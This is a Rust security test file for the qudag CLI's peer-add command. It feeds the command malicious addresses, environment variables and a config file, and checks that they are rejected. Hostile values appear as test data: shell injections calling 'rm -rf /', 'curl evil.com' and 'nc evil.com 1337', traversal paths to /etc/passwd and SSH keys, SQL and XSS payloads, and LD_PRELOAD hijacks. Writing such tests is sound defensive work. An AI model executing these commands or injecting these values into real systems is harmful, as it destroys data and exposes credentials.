qudag-cli 0.5.0

//! Security tests for peer management functionality
//! These tests focus on security aspects of peer operations

use assert_cmd::Command;
use predicates::prelude::*;
use std::time::Duration;

/// Test injection attacks in peer addresses
#[test]
fn test_address_injection_attacks() {
    let malicious_addresses = vec![
        // Command injection attempts
        "127.0.0.1:8000; rm -rf /",
        "127.0.0.1:8000 && curl evil.com",
        "127.0.0.1:8000 | nc evil.com 1337",
        "127.0.0.1:8000`curl evil.com`",
        "127.0.0.1:8000$(curl evil.com)",
        
        // Path traversal attempts
        "../../etc/passwd:8000",
        "../../../root/.ssh/id_rsa:8000",
        
        // Format string attacks
        "127.0.0.1:%s%s%s%s",
        "127.0.0.1:%n%n%n%n",
        
        // Buffer overflow attempts
        &"A".repeat(10000),
        &format!("127.0.0.1:{}", "9".repeat(1000)),
        
        // SQL injection patterns (even though we don't use SQL)
        "127.0.0.1:8000'; DROP TABLE peers; --",
        "127.0.0.1:8000' OR '1'='1",
        
        // Script injection
        "<script>alert('xss')</script>:8000",
        "javascript:alert('xss'):8000",
        
        // Null byte injection
        "127.0.0.1:8000\0evil.com",
        "127.0.0.1\0:8000",
        
        // Unicode attacks
        "127.0.0.1:８０００", // Full-width characters
        "127․0․0․1:8000", // Unicode dots
        
        // Control characters
        "127.0.0.1:8000\r\n",
        "127.0.0.1:8000\x00\x01\x02",
    ];
    
    for malicious_addr in malicious_addresses {
        Command::cargo_bin("qudag")
            .unwrap()
            .args(&["peer", "add", malicious_addr])
            .assert()
            .failure()
            .stderr(predicate::str::contains("Error: Invalid peer address format"));
    }
}

/// Test DoS attacks through resource exhaustion
#[test]
fn test_resource_exhaustion_protection() {
    // Test very large input
    let huge_address = "a".repeat(1_000_000) + ":8000";
    Command::cargo_bin("qudag")
        .unwrap()
        .args(&["peer", "add", &huge_address])
        .timeout(Duration::from_secs(5)) // Should fail quickly, not hang
        .assert()
        .failure()
        .stderr(predicate::str::contains("Error: Invalid peer address format"));
}

/// Test peer address validation against malicious domains
#[test]
fn test_malicious_domain_validation() {
    let malicious_domains = vec![
        // Homograph attacks
        "еxample.com:8000", // Cyrillic 'e'
        "gоogle.com:8000", // Cyrillic 'o'
        
        // IDN homograph attacks
        "xn--e1afmkfd.xn--p1ai:8000", // пример.рф in Punycode
        
        // Subdomain attacks
        "evil.example.com.attacker.com:8000",
        "google.com.evil.com:8000",
        
        // Very long subdomain chains
        &format!("{}.com:8000", "a.".repeat(100)),
        
        // Invalid TLDs
        "example.evil:8000",
        "example.test123:8000",
    ];
    
    for domain in malicious_domains {
        let mut cmd = Command::cargo_bin("qudag").unwrap();
        cmd.args(&["peer", "add", domain])
            .assert()
            .failure();
    }
}

/// Test protection against DNS rebinding attacks
#[test]
fn test_dns_rebinding_protection() {
    let rebinding_addresses = vec![
        // Private IP ranges that could be used for rebinding
        "10.0.0.1:8000",
        "172.16.0.1:8000", 
        "192.168.1.1:8000",
        "127.0.0.1:8000",
        
        // IPv6 private addresses
        "[::1]:8000",
        "[fc00::1]:8000",
        "[fd00::1]:8000",
        
        // Localhost variants
        "localhost:8000",
        "0.0.0.0:8000",
    ];
    
    for address in rebinding_addresses {
        let mut cmd = Command::cargo_bin("qudag").unwrap();
        let result = cmd.args(&["peer", "add", address, "--allow-private"])
            .output()
            .unwrap();
        
        // Should warn about private addresses unless explicitly allowed
        let stderr = String::from_utf8_lossy(&result.stderr);
        if !stderr.contains("--allow-private") {
            assert!(
                stderr.contains("Warning: Private address") || result.status.success(),
                "Should warn about private address or succeed with flag"
            );
        }
    }
}

/// Test rate limiting for peer operations
#[test]
fn test_rate_limiting() {
    // Rapidly attempt to add many peers
    for i in 0..100 {
        let address = format!("192.168.1.{}:8000", i);
        let mut cmd = Command::cargo_bin("qudag").unwrap();
        let output = cmd.args(&["peer", "add", &address])
            .output()
            .unwrap();
        
        // After some number of requests, should get rate limited
        let stderr = String::from_utf8_lossy(&output.stderr);
        if stderr.contains("rate limit") || stderr.contains("too many requests") {
            // Rate limiting is working
            return;
        }
    }
    
    // If we get here without rate limiting, that might be a problem
    // (unless the implementation doesn't have rate limiting yet)
}

/// Test protection against timing attacks
#[test]
fn test_timing_attack_protection() {
    use std::time::Instant;
    
    let valid_address = "example.com:8000";
    let invalid_address = "invalid-address-format";
    
    // Measure timing for valid vs invalid addresses
    let start = Instant::now();
    let mut cmd = Command::cargo_bin("qudag").unwrap();
    cmd.args(&["peer", "add", valid_address])
        .output()
        .unwrap();
    let valid_time = start.elapsed();
    
    let start = Instant::now();
    let mut cmd = Command::cargo_bin("qudag").unwrap();
    cmd.args(&["peer", "add", invalid_address])
        .output()
        .unwrap();
    let invalid_time = start.elapsed();
    
    // The timing difference should not be too large
    // (This is a basic check - real timing attack analysis would be more sophisticated)
    let ratio = if valid_time > invalid_time {
        valid_time.as_nanos() as f64 / invalid_time.as_nanos() as f64
    } else {
        invalid_time.as_nanos() as f64 / valid_time.as_nanos() as f64
    };
    
    // Allow up to 10x difference (this is quite generous)
    assert!(ratio < 10.0, "Timing difference too large: {:.2}x", ratio);
}

/// Test input sanitization
#[test]
fn test_input_sanitization() {
    let test_inputs = vec![
        // ANSI escape sequences
        "\x1b[31mred\x1b[0m:8000",
        "\x1b]0;evil title\x07:8000",
        
        // Terminal control sequences
        "\x1b[2J\x1b[H:8000", // Clear screen
        "\x1b[?25l:8000", // Hide cursor
        
        // Backspace and other control chars
        "test\x08\x08\x08\x08evil:8000",
        
        // Mixed encodings
        "caf\xc3\xa9.com:8000", // UTF-8
        "test\xff\xfe:8000", // BOM
    ];
    
    for input in test_inputs {
        Command::cargo_bin("qudag")
            .unwrap()
            .args(&["peer", "add", input])
            .assert()
            .failure();
    }
}

/// Test protection against fork bombs and resource limits
#[test]
fn test_resource_limits() {
    // Test maximum number of concurrent operations
    use std::process::{Command as StdCommand, Stdio};
    use std::thread;
    
    let handles: Vec<_> = (0..50).map(|i| {
        thread::spawn(move || {
            let address = format!("192.168.1.{}:8000", i);
            let output = StdCommand::new("cargo")
                .args(&["run", "--bin", "qudag", "--", "peer", "add", &address])
                .stdout(Stdio::null())
                .stderr(Stdio::piped())
                .output()
                .expect("Failed to execute command");
            
            output.status.success()
        })
    }).collect();
    
    let results: Vec<bool> = handles.into_iter()
        .map(|h| h.join().unwrap())
        .collect();
    
    // Not all should succeed due to resource limits
    let success_count = results.iter().filter(|&&x| x).count();
    assert!(success_count < 50, "Should have some failures due to resource limits");
}

/// Test certificate pinning for .onion addresses (if supported)
#[test]
fn test_onion_security() {
    let onion_addresses = vec![
        // Valid v3 onion address
        "facebookwkhpilnemxj7asaniu7vnjjbiltxjqhye3mhbshg7kx5tfyd.onion:443",
        
        // Potentially malicious onion (fake)
        "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.onion:8000",
    ];
    
    for address in onion_addresses {
        Command::cargo_bin("qudag")
            .unwrap()
            .args(&["peer", "add", address])
            .assert();
        // Should either succeed or fail gracefully, not crash
    }
}

/// Test protection against amplification attacks
#[test]
fn test_amplification_protection() {
    // Test that peer operations don't cause amplification
    // (i.e., small input doesn't cause large output or resource consumption)
    
    let small_input = "a.b:1";
    let output = Command::cargo_bin("qudag")
        .unwrap()
        .args(&["peer", "add", small_input])
        .output()
        .unwrap();
    
    // Output should be reasonably sized
    let total_output = output.stdout.len() + output.stderr.len();
    assert!(total_output < 10_000, "Output too large for small input: {} bytes", total_output);
}

/// Test environment variable injection
#[test]
fn test_env_var_injection() {
    // Test that malicious environment variables don't affect peer operations
    Command::cargo_bin("qudag")
        .unwrap()
        .env("QUDAG_PEER", "evil.com:8000")
        .env("PATH", "/tmp/evil:/usr/bin") // Try to hijack PATH
        .env("LD_PRELOAD", "/tmp/evil.so") // Try to inject library
        .args(&["peer", "add", "192.168.1.1:8000"])
        .assert();
    // Should not use the malicious environment variables
}

/// Test configuration file injection
#[test]
fn test_config_injection() {
    use tempfile::NamedTempFile;
    
    // Create malicious config file
    let config_file = NamedTempFile::new().unwrap();
    std::fs::write(config_file.path(), r#"
[network]
max_peers = 999999
peer_timeout = 0

[peers]
bootstrap = [
    "evil.com:8000",
    "malicious.onion:8000"
]

# Try to inject shell commands
command = "rm -rf /"
"#).unwrap();
    
    Command::cargo_bin("qudag")
        .unwrap()
        .env("QUDAG_CONFIG", config_file.path().to_str().unwrap())
        .args(&["peer", "list"])
        .assert()
        .success(); // Should parse safely and not execute commands
}